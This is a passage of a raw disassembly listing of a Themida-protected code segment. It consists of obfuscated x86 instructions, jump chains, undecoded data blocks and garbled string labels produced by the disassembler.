XREF: Themida_:005669C7j mov edi, [esp] add esp, 4 push eax mov eax, 4 add edi, eax pop eax push esi jmp loc_5593DF ; --------------------------------------------------------------------------- dd 6519C581h, 9AE90E6Bh, 31FFFFB5h, 0ED815DEAh, 52090405h dd 0C581D529h, 52090405h, 8BEA015Ah, 0C481242Ch, 4, 4EC81h dd 6EE90000h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5574B3: ; CODE XREF: Themida_:0055E848j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_559761 ; --------------------------------------------------------------------------- db 89h dd 4EC81E0h, 89000000h, 0C268242Ch, 5D403C4Bh, 4BC6F581h dd 0C305403Ch, 1567662h, 5BB951E8h, 0E907B620h, 0FFFFB0CDh dd 0C158C121h, 0E98106E9h, 0EDB14D5Ch, 8159CB31h, 9A1815EAh dd 0E9DA0123h, 0D3EAh ; --------------------------------------------------------------------------- loc_55750C: ; CODE XREF: Themida_:0055AB50j pop edi mov ecx, 49F60E87h xor ecx, edx pop edx add ecx, 3F5D5C4Ch add ecx, edx push edx push edi push 5B24620Dh jmp loc_562E0A ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0E9h dd 0CB20h, 6DD1E95Fh, 58540000h, 4AB8E9h db 0 ; --------------------------------------------------------------------------- loc_55753D: ; CODE XREF: Themida_:0055F4B4j pop ebp sub [edi+24h], eax mov eax, [esp] jmp loc_55A36A ; --------------------------------------------------------------------------- byte_557549 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00551284o aQts db '$QTИ╠-',0 align 4 dd 0E959CF88h, 1372h, 0CBFEDA86h, 0C280DA86h, 44BFE9FDh dd 815A0000h, 8A29A0F5h, 0FFEA011Fh, 2C8B2434h, 4C48324h dd 0E904C483h, 0CD0h, 80400E68h, 45B7E914h, 0EC810000h dd 4, 0FFC405E9h db 0FFh ; --------------------------------------------------------------------------- loc_557599: ; CODE XREF: Themida_:0055C4A7j push eax add dword ptr [esp], 11782343h pop ebp sub ebp, 11782343h pop eax push ebp push ecx push 5D913907h jmp loc_56312A ; --------------------------------------------------------------------------- aSrOOscm db 'SR╨',0Bh,'O;OИc╛',0 dd 5C80100h, 0D3E2727h, 702BD92Dh, 34FF597Fh, 2434FF24h dd 4C48159h, 83000000h, 706804C4h, 0E9000031h, 2CB7h, 0C788C888h dd 1031E9h, 45C80500h, 0E95106B8h, 0DA5Eh, 4C681h, 0EE810000h dd 4, 0E9243487h, 7B0Ch ; --------------------------------------------------------------------------- loc_557610: ; CODE XREF: Themida_:0056602Dj add ecx, 5B201F27h jmp loc_55EFD8 ; --------------------------------------------------------------------------- loc_55761B: ; CODE XREF: Themida_:00565C61j sub edx, ebx jmp loc_55CADB ; --------------------------------------------------------------------------- loc_557622: ; CODE XREF: Themida_:00562D92j pop edi push ecx jmp loc_557914 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 52506AB1h, 0FFD402E9h, 81C329FFh, 0AA484DEBh, 0C5BE5610h dd 57202179h, 0BFh, 3FA2E900h, 815D0000h, 4E9h, 0B28AE900h dd 0C147FFFFh, 0CF8107EFh, 62052FEAh, 0BA52D7F7h, 3918B18Eh dd 315AD729h, 0EA815FFAh, 0FFFFFFFFh, 12B3E9h, 66FD2800h dd 0E9EBB652h, 0E310h, 0E789575Bh, 4C781h, 0C7810000h dd 4, 5C243C87h, 2EC8359h, 241C8966h, 0E952E5B7h, 9046h ; --------------------------------------------------------------------------- loc_5576AC: ; CODE XREF: Themida_:0055C947j add ebp, edi add ebp, 29282E01h sub ebp, 76E92B49h pop edi jmp loc_55660A ; --------------------------------------------------------------------------- dd 68E990B7h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5576C7: ; CODE XREF: Themida_:0055FE07j xor ebp, 585D79BDh or ebp, 4C084E69h xor ebp, 389038CCh jmp loc_555A10 ; --------------------------------------------------------------------------- loc_5576DE: ; CODE XREF: Themida_:00556DB3j add esp, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55DC40 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 5D04C483h, 58E95952h, 55000067h, 6555C2BDh, 0E9E9297Ch dd 6B6Eh, 3304C783h, 3C31243Ch, 243C3324h, 0E924248Bh dd 0B3D5h ; --------------------------------------------------------------------------- loc_557724: ; CODE XREF: Themida_:0055D16Dj push ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_559F47 ; --------------------------------------------------------------------------- loc_557739: ; CODE XREF: Themida_:005600BBj push 4B99h mov [esp], esi push eax jmp loc_55AAE1 ; --------------------------------------------------------------------------- db 89h dd 0F9E9243Ch db 0B6h, 2 dup(0FFh) byte_55774F db 0FFh ; DATA XREF: Themida_:00551260o dd 669D1C77h, 4196658h, 8CE99C24h, 5BFFFF9Dh, 5E08950h dd 4, 98C0E9h, 66C2FE00h, 0E994B050h, 13DEh ; --------------------------------------------------------------------------- loc_557778: ; CODE XREF: Themida_:0055FD68j push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_553FA5 ; --------------------------------------------------------------------------- db 83h, 0EDh, 0FFh dd 70C6E9h db 0, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55D172 ; --------------------------------------------------------------------------- dd offset dword_59EB00 dd 15B568C3h, 14890000h, 9CF0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5577B2: ; CODE XREF: Themida_:0055C910j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp jmp loc_55E56A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C481h, 8F660000h, 0C6B5E900h, 0F792FFFFh, 8DE950D0h dd 0FF00001Dh, 0E99C240Ch, 0FFFF9CFBh, 53D5F581h, 0EE01809Bh dd 6ABA525Dh, 0E9663423h, 969h dword_557804 dd 9D1C77FFh, 24041158h, 9CD9E99Ch ; DATA XREF: Themida_:005512A0o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557812: ; CODE XREF: Themida_:0055687Dj push ecx mov ecx, edi push ecx jmp loc_554315 ; --------------------------------------------------------------------------- db 1 dd 0FB6E9C7h, 67050000h, 1F73B6Eh, 8DE958C3h, 1000066h dd 240C8BC8h, 0E904C483h, 0A957h, 26996850h, 52582504h dd 6D09BBBAh, 0F9FDE931h, 4B9FFFFh, 0E9000000h, 982Ch dd 895C3C68h, 0F449E934h, 0CF01FFFFh, 36F4EF81h, 0C8B3DD2h dd 0E7895724h, 4C781h, 8EE90000h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55787B: ; CODE XREF: Themida_:005587C1j shl eax, 7 sub eax, 63C09E6Bh mov edi, eax pop eax jmp loc_56280B ; --------------------------------------------------------------------------- db 81h dd 5923ECC7h, 5FFB296Bh, 37B4BD55h, 54E924A0h, 57000074h dd 8904EC83h, 0E9E92414h, 510000C8h, 0C181E189h, 4, 8704C183h dd 565C240Ch, 3C9E9h, 241C8900h, 0E904EC83h, 0FFFFAD08h dd 5604C483h, 4BF57h, 0FE890000h, 0B3ED815Fh, 81082E49h dd 0D62408EDh, 81F52915h, 0D62408C5h, 3D7AE915h, 59540000h dd 4C181h, 0E90000h, 66FFFFA6h, 8324148Bh, 0B75302C4h dd 0EBF7803Bh, 0E904EFC0h, 2BE8h ; --------------------------------------------------------------------------- loc_557914: ; CODE XREF: Themida_:00557624j mov ecx, 68701928h add eax, ecx pop ecx sub eax, esi push edi mov edi, 68701928h sub eax, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 59B137ABh push ebp mov ebp, 48B85E0Ch xor ecx, ebp jmp loc_55EE9A ; --------------------------------------------------------------------------- loc_55793F: ; CODE XREF: Themida_:00559215j pop edx mov ebp, ecx pop ecx add edx, 23470F72h add edx, ebp sub edx, 23470F72h pop ebp jmp loc_55DCDE ; --------------------------------------------------------------------------- db 8Bh dd 8957242Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 24048F5Ch dd 8324248Bh, 34FF04C4h, 0C8E1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55797E: ; CODE XREF: Themida_:0055B2BAj and eax, 38182374h push ebx mov ebx, 0CB7A8Ch add ebx, 45893F5h jmp loc_5552EA ; --------------------------------------------------------------------------- dd 0FFFE295Ah, 1BE92434h, 52FFFFB2h, 4BAh, 29E98100h, 1659979h dd 29BB53D1h, 81659979h, 0CF3772E9h, 0E9D9014Ah, 0FFFFD029h ; --------------------------------------------------------------------------- loc_5579C0: ; CODE XREF: Themida_:0055D7DEj mov [esp], ecx mov ecx, 5C102427h xchg ebp, ecx not ebp jmp loc_565772 ; --------------------------------------------------------------------------- aHgh db '[h┐h',0 dw 8900h dd 5B54241Ch, 4C381h, 0F3E90000h, 890000BBh, 4EC83E7h dd 0B8240489h, 4, 119CEF81h, 0BD5560C4h, 11566056h, 815DEF01h dd 840B5BC7h, 81C7016Ch, 840B5BEFh, 56EF816Ch, 81115660h dd 0C4119CC7h, 24048B60h, 4C481h, 53550000h, 8904EC83h dd 67B9240Ch, 815FFB37h, 6B7B0FE9h, 0F7D9F756h, 0E9D1F7D9h dd 0FFFFC1C6h, 804EF380h, 0D8003CF3h, 0CAE95B5Bh db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_557A53: ; CODE XREF: Themida_:0055185Fj pop esp jmp loc_56192F ; --------------------------------------------------------------------------- loc_557A59: ; CODE XREF: Themida_:00564793j pop eax xchg eax, esi not esi xchg eax, esi push 6F29h mov [esp], edi mov edi, 694140FAh xor edi, 1B0D5365h jmp loc_55802F ; --------------------------------------------------------------------------- dw 0F181h dd 12812BF7h, 55242C8Bh, 572668h, 48F5400h, 4B85024h, 0E9000000h dd 7F09h ; --------------------------------------------------------------------------- loc_557A94: ; CODE XREF: Themida_:0055A22Bj mov eax, 23FD4A8Fh jmp loc_55DD11 ; --------------------------------------------------------------------------- dw 0C381h dd 43734BC6h, 8324048Bh, 1C8704C4h, 9BE95C24h, 660000B3h dd 0E9240C8Bh, 0AE46h ; --------------------------------------------------------------------------- loc_557ABC: ; CODE XREF: Themida_:0055AF43j mov edx, eax jmp loc_556EB2 ; --------------------------------------------------------------------------- loc_557AC3: ; CODE XREF: Themida_:005592A4j mov [esp], ebx mov ebx, esp push eax push ebp jmp loc_55D165 ; --------------------------------------------------------------------------- aPEZsze db 'P╦^E/zИZe',0 align 2 dw 0D830h dd 83241C8Bh, 0C33004C4h, 66C0B60Fh, 8324148Bh, 1C8904ECh dd 88E95424h, 31FFFFA0h, 2C33242Ch, 0A3E95C24h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_557B03: ; CODE XREF: Themida_:00560628j add esp, 4 push 49FDh mov [esp], esi push 203h mov [esp], ebp add dword ptr [esp], 14B92ADEh mov esi, [esp] add esp, 4 push edi jmp loc_56616E ; --------------------------------------------------------------------------- dd 4EC835Ch, 89241489h, 4C281E2h, 81000000h, 4EAh, 24148700h dd 240C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55D1B7 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0BEh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B6F: ; CODE XREF: Themida_:005583D2j push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push 6465h mov [esp], esi push esp mov esi, [esp] push edi jmp loc_55CB5F ; --------------------------------------------------------------------------- aBFSY db '│а}f╫|)аИшY',0 dw 6600h dd 66CCB60Fh, 66022B68h, 0E9240C89h, 0FFFF9E4Ah, 0D8AABB53h dd 56E94FCDh, 1FFFFF7h, 0E5EFE9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557BBE: ; CODE XREF: Themida_:0055DD83j add dh, 0B2h xor dh, 9Fh sub dh, 0DAh shr dh, 1 xor dh, 89h sub bl, dh pop edx xor cl, bl pop ebx xor cl, 8Bh jmp loc_55B685 ; --------------------------------------------------------------------------- dw 0ED81h dd 671D326Eh, 67E9E901h, 83FFFFFAh, 0C82D04C4h, 0E93A1569h dd 1892h ; --------------------------------------------------------------------------- loc_557BF4: ; CODE XREF: Themida_:0056527Cj pop edi add esp, 4 push 61EEh mov [esp], edx jmp loc_560EEF ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 19F6BF57h, 35E97690h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C13: ; CODE XREF: Themida_:00554C28j mov [esp], esi push ebp mov ebp, ebx jmp loc_5643DA ; --------------------------------------------------------------------------- dw 0FF66h dd 0E9022474h, 47EDh, 0E95DE931h, 0FFFFB1CBh, 0C681EE01h dd 4E38050Eh, 697BE9h, 46800h, 15B0000h, 14875BDAh, 89535C24h dd 4BD55E3h, 1000000h, 0EBE95DEBh db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557C5B: ; CODE XREF: Themida_:0055FF82j sub esi, edi pop edi push 3445h mov [esp], esi jmp loc_55186C ; --------------------------------------------------------------------------- db 0C1h dd 0E28107EAh, 33641947h, 60D6E9h, 241C8900h, 0E2BEE9h dd 0C895C00h, 0CD11E924h, 0E6890000h, 4C681h, 0E4E90000h dd 83000098h, 348904ECh, 81E68924h, 4C6h, 4C68100h, 0E9000000h dd 6C53h dword_557CB0 dd 24048B66h, 6B9C68h, 241C8900h, 8904EC83h, 4832424h ; DATA XREF: Themida_:005513C8o dd 575B0424h, 0D538E9h, 4C58100h, 53000000h, 4BBh, 8BDD0100h dd 0C483241Ch, 242C3304h, 33242C31h, 248B242Ch, 24048F24h dd 8924248Bh, 0F0E92404h, 89FFFF97h, 0AEE9241Ch, 890000E9h dd 18BE2434h, 8100874Fh, 1C6h, 0B9EE8100h, 812F0C44h, 714088CEh dd 0CDEE8103h, 81C0D3D6h, 5E2133EAh, 81F22950h, 5E2133C2h dd 24348B50h, 95ABE9h, 4C68100h, 0E9000000h, 98Dh, 0E9F00059h dd 4421h ; --------------------------------------------------------------------------- loc_557D4C: ; CODE XREF: Themida_:00553E3Fj add edi, 0C91385Eh add edi, 274D3FFCh push edi push esi mov esi, 3A6355B8h jmp loc_55D802 ; --------------------------------------------------------------------------- dd 0E924048Bh, 0C85Fh, 90CF815Dh, 8141B45Dh, 7E5EF3F7h dd 5FFE0951h, 6921BD55h, 0DDF7662Bh, 0C78ED81h, 0CD812F8Ch dd 25B93DA4h, 0E905E5C1h, 0AB64h ; --------------------------------------------------------------------------- loc_557D98: ; CODE XREF: Themida_:0055BDBCj mov ecx, esp add ecx, 4 jmp loc_55B6E1 ; --------------------------------------------------------------------------- aSL db ')ыИц╚',0 align 4 aHk db 'h╙#',0 dd 241C8900h, 0D19DE9h db 0 ; --------------------------------------------------------------------------- loc_557DB9: ; CODE XREF: Themida_:0056457Fj push bx mov bl, 2Ch jmp loc_551E9D ; --------------------------------------------------------------------------- dw 48Fh dd 5AE95C24h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557DCB: ; CODE XREF: Themida_:00555A46j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55EC87 ; --------------------------------------------------------------------------- db 1, 0CFh, 56h dd 4E757468h, 0F7295E7Fh, 0FFA487E9h, 527BB8FFh, 9356D97h dd 1572B11h, 0F5D58C7h, 34FFC0B6h, 7B756887h, 0BBE90000h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E0F: ; CODE XREF: Themida_:0055AC88j xor ecx, 87DD98B1h sub ebx, 3A4E3BACh add ebx, ecx push ebp mov ebp, 2B32C08h jmp loc_559424 ; --------------------------------------------------------------------------- loc_557E28: ; CODE XREF: Themida_:00553AD6j sub ebx, 0CAC74E8h sub ebx, edx jmp loc_553F88 ; --------------------------------------------------------------------------- align 2 dw 5AD3h dd 305BDC88h, 0C5D7E9FCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E42: ; CODE XREF: Themida_:0055DD0Cj push edx jmp loc_55F21F ; --------------------------------------------------------------------------- dd 4C481h, 68660000h, 20E92E99h db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E57: ; CODE XREF: Themida_:0056029Bj push ebx mov ebx, 1BE74080h push 0 sub [esp], ebx pop ebx push 5C67h jmp loc_55709D ; --------------------------------------------------------------------------- aWs db 'WИ]~',0 align 2 dw 0DEF6h dd 0A9EE80h, 0A692E9F3h, 27B40000h, 0EEEAE953h, 0D3050000h dd 0E95A5B16h, 755Eh ; --------------------------------------------------------------------------- loc_557E94: ; CODE XREF: Themida_:005552E5j xchg edi, [esp] jmp loc_559F5A ; --------------------------------------------------------------------------- dd 24048F5Ch, 18D7E9h db 0 ; --------------------------------------------------------------------------- loc_557EA5: ; CODE XREF: Themida_:00551FF6j push ebx mov ebx, 3BF5053h add ebx, 679926C1h shl ebx, 1 add ebx, 13662E47h jmp loc_55D385 ; --------------------------------------------------------------------------- dw 0AEBFh dd 1555D7Bh, 0EEE95FF9h, 0B8FFFF97h, 31992AC8h, 505E8C1h dd 64AB352Bh, 14F7222Dh, 0D5EFE92Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557EE2: ; CODE XREF: Themida_:00555DE9j push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 jmp loc_565308 ; --------------------------------------------------------------------------- loc_557EF3: ; CODE XREF: Themida_:00564865j push edi push ebx push esi mov esi, 671549FCh neg esi dec esi add esi, 6E24076Bh and esi, 55D55A34h sub esi, 0ACA7DCD3h jmp loc_564186 ; --------------------------------------------------------------------------- loc_557F15: ; CODE XREF: Themida_:0055EBE6j mov esp, [esp] pop eax jmp loc_560D54 ; --------------------------------------------------------------------------- aTXst db '╨Tж}ЕИtЛ',0 align 4 dd 0E537B9BFh, 0DE78174h, 812A1934h, 0DD190DC7h, 70B8505Bh dd 0F7755661h, 150548D8h, 0E971A873h, 0E6F5h, 4CD9EA81h dd 875E2173h, 665C2414h, 566D829h, 5666046Ch, 0F4BABE66h dd 8904EC83h, 6866243Ch, 5F6645EDh, 2EC81h, 89660000h dd 6652240Ch, 661C9368h, 870E95Ah, 0E6810000h, 5C785645h dd 5102EEC1h, 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h dd 4EC8324h, 68243489h, 15666D62h, 97B8E95Eh, 34890000h dd 7743BE24h, 0F0012341h, 0FF2434FFh, 31E92434h, 4F00000Eh dd 0F129EF81h, 0F9010560h, 0CBB535Fh, 2925185Ch, 69E95BD9h dd 59000049h, 0F703E8C1h, 0D1F791D8h, 40D0F791h, 7FF2BB53h dd 0C3810C04h, 0F44F7BEFh, 1C8BD801h, 4C48124h, 1000000h dd 1BE958C5h, 0F70000B6h, 8159241Ch, 303200C1h, 4815132h dd 343CFB24h, 8CF5E931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558026: ; CODE XREF: Themida_:0055FD73j pop esp mov [esp], eax jmp loc_5583A9 ; --------------------------------------------------------------------------- loc_55802F: ; CODE XREF: Themida_:00557A71j add edi, 1D6B7361h add eax, edi jmp loc_559808 ; --------------------------------------------------------------------------- loc_55803C: ; CODE XREF: Themida_:0055F4A1j push dword ptr [esp] pop eax add esp, 4 push edx push ebx push 62BF14CEh pop ebx xor ebx, 7C082D44h sub ebx, 36629CBh add ebx, 520C6B58h sub ebx, 0F0B076D2h mov edx, ebx pop ebx xor ebp, edx jmp loc_5537CD ; --------------------------------------------------------------------------- loc_55806D: ; CODE XREF: Themida_:0055BFA5j mov ebp, edx mov edx, [esp] add esp, 4 sub eax, ebp pop ebp mov edi, [esp] add esp, 4 push 405Bh mov [esp], edx push 7539h mov [esp], esi push 6519h mov [esp], ebp push 5ACCh mov [esp], esi mov esi, 3D2339A0h push ebx jmp loc_5606F9 ; --------------------------------------------------------------------------- db 81h dd 386581E9h, 0E77AE90Bh, 0CBBFFFFh, 0F7590068h, 9DEB81D3h dd 553C935Dh, 7416CABDh, 50ED8165h, 0E9230A09h, 0FFFFEEE0h dd 875DEF01h, 7BE9243Ch, 59FFFFDDh, 48BC501h, 0DCAE924h dd 0C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h dd 0E2DEh ; --------------------------------------------------------------------------- loc_558108: ; CODE XREF: Themida_:00559F42j xor ecx, 4FA2449h jmp loc_553911 ; --------------------------------------------------------------------------- loc_558113: ; CODE XREF: Themida_:0055D48Bj mov eax, 4C026E91h xor [esp+4], eax pop eax jmp loc_565D38 ; --------------------------------------------------------------------------- loc_558122: ; CODE XREF: Themida_:00558160j add ebp, 4 jmp loc_551950 ; --------------------------------------------------------------------------- loc_55812D: ; CODE XREF: Themida_:00552E2Cj pop ebp add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_556802 ; --------------------------------------------------------------------------- db 5Eh dd 31241C33h, 1C33241Ch, 1BC7E924h, 0DE290000h, 81D6015Bh dd 986928C6h, 9E13E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55815A: ; CODE XREF: Themida_:00557416j add ebp, 4 jmp loc_558122 ; --------------------------------------------------------------------------- loc_558165: ; CODE XREF: Themida_:0055D85Cj not eax push esi jmp loc_562E57 ; --------------------------------------------------------------------------- db 5, 22h, 69h dd 19E94D3Eh, 5FFFFFE3h, 0E9241C33h, 0AC47h, 3ED6EB81h dd 0D929F494h, 53C1015Bh, 1F7CDFBBh, 43CB8127h, 0E96F2910h dd 0FFFFBF86h, 465C2548h, 0D8F73910h, 39C0E9h db 0 ; --------------------------------------------------------------------------- loc_5581A9: ; CODE XREF: Themida_:0055EB37j sub esp, 4 jmp loc_5600B6 ; --------------------------------------------------------------------------- loc_5581B1: ; CODE XREF: Themida_:005638B7j push ecx mov ecx, 0B1024h xor eax, ecx jmp loc_563D2D ; --------------------------------------------------------------------------- loc_5581BE: ; CODE XREF: Themida_:0055F521j pop ebp mov edx, [esp] jmp loc_55D185 ; --------------------------------------------------------------------------- db 1 dd 24048BC7h, 104C483h, 243C8BFEh, 4C481h, 16E90000h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581DF: ; CODE XREF: Themida_:0055C3B8j pop esp mov [esp], ebx mov ebx, 200000h and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_556FC9 ; --------------------------------------------------------------------------- byte_5581FB db 66h ; DATA XREF: Themida_:00551214o dd 0E8E932FFh, 89FFFF92h, 0B4E9243Ch, 5DFFFFA7h, 0FF94E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_558211: ; CODE XREF: Themida_:00563A7Fj xchg ebp, [esp] pop esp mov [esp], ecx push ebx push 0E5C0B41h mov ebx, [esp] add esp, 4 xor ebx, edx xor edx, ebx jmp loc_552927 ; --------------------------------------------------------------------------- dd 8159CA31h, 639D9EBh, 81D32964h, 639D9C3h, 0BAE95A64h dd 68FFFFA4h, 1CAEh, 0E9240489h, 0FFFF9297h, 0E902C283h dd 0FFFFB5A9h, 0F64AB652h, 2DA3E9DEh, 0C4810000h, 4, 0E027C281h dd 0D389FA76h, 76C3815Ah, 0E97ACD6Ah, 5A1Dh, 0E5E9BCB0h dd 50000046h, 4C5044B8h, 58C12165h, 45C0BF57h, 48E95C25h dd 5E00003Bh, 4C281h, 14330000h, 0D7E924h, 0AF680000h dd 89000071h, 2BA2414h, 81000000h, 0BA52A1EBh, 7D99E92Ch dd 2C8B0000h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 0FFD17AE9h, 8BF101FFh, 0C6E92434h, 8BFFFF92h, 4815A02h dd 247BC424h, 73BB536Eh, 0E91F3307h, 2AF1h ; --------------------------------------------------------------------------- loc_5582F8: ; CODE XREF: Themida_:0056587Dj pop esp shr eax, 10h xor eax, ecx push eax xor [esp], edx jmp loc_5643BA ; --------------------------------------------------------------------------- loc_558307: ; CODE XREF: Themida_:00564B79j push edx jmp loc_562167 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 52h dd 0E40113BAh, 90E94A2Eh db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55831B: ; CODE XREF: Themida_:0055F76Bj push eax mov eax, esp jmp loc_564171 ; --------------------------------------------------------------------------- db 1 dd 29BD55CBh, 0E93D2D09h, 0FFFFB271h ; --------------------------------------------------------------------------- loc_558330: ; CODE XREF: Themida_:0055A021j sub eax, 62FC5C96h jmp loc_564A9C ; --------------------------------------------------------------------------- dw 0E189h dd 7AF8BA52h, 314219B7h, 31D031C2h, 819248C2h, 2D5DF7CAh dd 81E2D11Eh, 810006C2h, 5AD101C0h, 4BA52h, 0D1010000h dd 0FE1E95Ah, 875F0000h, 0ABE92404h, 8B000059h, 0F662424h dd 9C2404A3h, 0FF916AE9h, 241431FFh, 5C241433h, 0E92434FFh dd 0E125h ; --------------------------------------------------------------------------- loc_558390: ; CODE XREF: Themida_:0055F473j sub esp, 4 mov [esp], eax jmp loc_55DF2D ; --------------------------------------------------------------------------- aBuETs db '│Н|EнTИад',0 db 0 ; --------------------------------------------------------------------------- loc_5583A9: ; CODE XREF: Themida_:0055802Aj mov eax, 2D0C4EFDh jmp loc_55DE32 ; --------------------------------------------------------------------------- loc_5583B3: ; CODE XREF: Themida_:00552FA5j xor eax, esi pop esi add eax, 0CF17C6EAh add edx, 136C74C0h sub edx, eax sub edx, 136C74C0h mov eax, [esp] add esp, 4 loc_5583CF: ; CODE XREF: Themida_:00553140j ; Themida_:loc_55E702j push dword ptr [edi+24h] jmp loc_557B6F ; --------------------------------------------------------------------------- db 0FFh dd 5B042474h, 8B24048Fh, 0C332424h, 240C3124h, 0E9240C33h dd 0FFFFB234h ; --------------------------------------------------------------------------- loc_5583F0: ; CODE XREF: Themida_:0055B485j mov esp, [esp] pop dword ptr [edi+24h] loc_5583F6: ; CODE XREF: Themida_:00557065j push 53CEh jmp loc_56464C ; --------------------------------------------------------------------------- loc_558400: ; CODE XREF: Themida_:00559EA4j not esi xchg esi, [esp] pop esi inc esi shr esi, 6 xor esi, 0C656447h add esi, 5CFBFD12h push esi jmp loc_566D1A ; --------------------------------------------------------------------------- loc_55841C: ; CODE XREF: Themida_:005525B8j mov esp, [esp] push esi mov esi, 4CF8498Bh sub esp, 4 jmp loc_566725 ; --------------------------------------------------------------------------- dd 0BB53CA01h, 2F35440Eh, 4F37EA81h, 0C28176E8h, 26C00269h dd 3316EA81h, 0DA017F76h, 3316C281h, 0EA817F76h, 26C00269h dd 0FFCCF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55845D: ; CODE XREF: Themida_:00561465j add esp, 4 xchg ebp, [esp] jmp loc_559F37 ; --------------------------------------------------------------------------- db 50h dd 0FF9FB5E9h, 243489FFh, 0BD2253BEh, 14F75639h, 0EE815E24h dd 62F69A18h, 0AD3BE956h, 575DFFFFh, 124BCFBFh, 5FF8097Ch dd 5DCDE9h db 0 byte_558499 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:0055121Co dd offset aFitzmaurice+4 dd 242C8900h, 6C7168h, 24248900h, 64A2E9h, 8BC38800h, 0C4832404h dd 54E95004h, 660000B6h, 24F7805Bh, 34FFF988h, 14E95B24h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5584CF: ; CODE XREF: Themida_:005530ECj dec ebp not ebp sub ebp, 3CF92730h mov ebx, ebp pop ebp sub esp, 4 mov [esp], ecx jmp loc_55731A ; --------------------------------------------------------------------------- dw 0C681h dd 7EC77483h, 0AB21C681h, 0F2315321h, 0E9D3015Eh, 9890h dd 1C681h, 0C6810000h, 6DAE4541h, 0C45BE957h, 45AFFFFh dd 0EC835217h, 241C8904h, 0C520E9h, 24148B00h, 3104C483h dd 0EDC15BDDh, 3BF58108h, 100D857h, 0BA525DEFh, 2, 6DE9D701h dd 8BFFFFB7h, 0C4812434h, 4, 548EE9h db 0 ; --------------------------------------------------------------------------- loc_55854D: ; CODE XREF: Themida_:00566A4Dj pop ebx jmp loc_5547FC ; --------------------------------------------------------------------------- db 83h dd 0CEE904C4h, 8B0000C9h, 0C483241Ch, 56E98104h, 1610F13h dd 56BB53D9h, 1610F13h, 0E95B5BD9h, 7B6Bh, 0E924048Fh dd 767h, 0C187E951h db 2 dup(0FFh) word_558586 dw 51ADh ; DATA XREF: Themida_:00551278o dd 0CC7CA8B9h, 0C2C1810Eh, 0E9044353h, 0FFFFD53Bh ; --------------------------------------------------------------------------- loc_558598: ; CODE XREF: Themida_:0055530Fj sub esp, 4 mov [esp], ebx mov ebx, 59DF42CAh xchg esi, ebx not esi jmp loc_55F03F ; --------------------------------------------------------------------------- db 5Dh dd 0FF9433E9h, 63FE05FFh, 0C8010FB8h, 63FEBB53h, 0D8290FB8h dd 0E950595Bh, 0FFFFEEFBh dword_5585CC dd 8904EC83h, 0BA522434h, 23A05626h, 0D59445BEh, 5AD62994h ; DATA XREF: Themida_:0055126Co dd 4EC81h, 14890000h, 5DF8BA24h, 0EA8176BEh, 1, 4EC81h dd 4890000h, 1ABF5724h, 8962FD07h, 0A8C2E9F8h, 0DEF70000h dd 0D7E9EE81h, 0F789583Ah, 8124348Bh, 4C4h, 15D1E900h dd 59580000h, 70468h, 24048900h, 8853FC88h, 0BA6BE9E3h dd 0F6800000h, 0B3536635h, 0D2C8E97Bh, 0F6810000h, 79473425h dd 0D556F681h, 39E9B5A7h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558653: ; CODE XREF: Themida_:00554AD8j sub esp, 4 mov [esp], ebp jmp loc_55F066 ; --------------------------------------------------------------------------- loc_558661: ; CODE XREF: Themida_:00554B4Ej pop edi jmp loc_55CD68 ; --------------------------------------------------------------------------- db 89h dd 448159C8h, 270F0424h, 32E9045Bh, 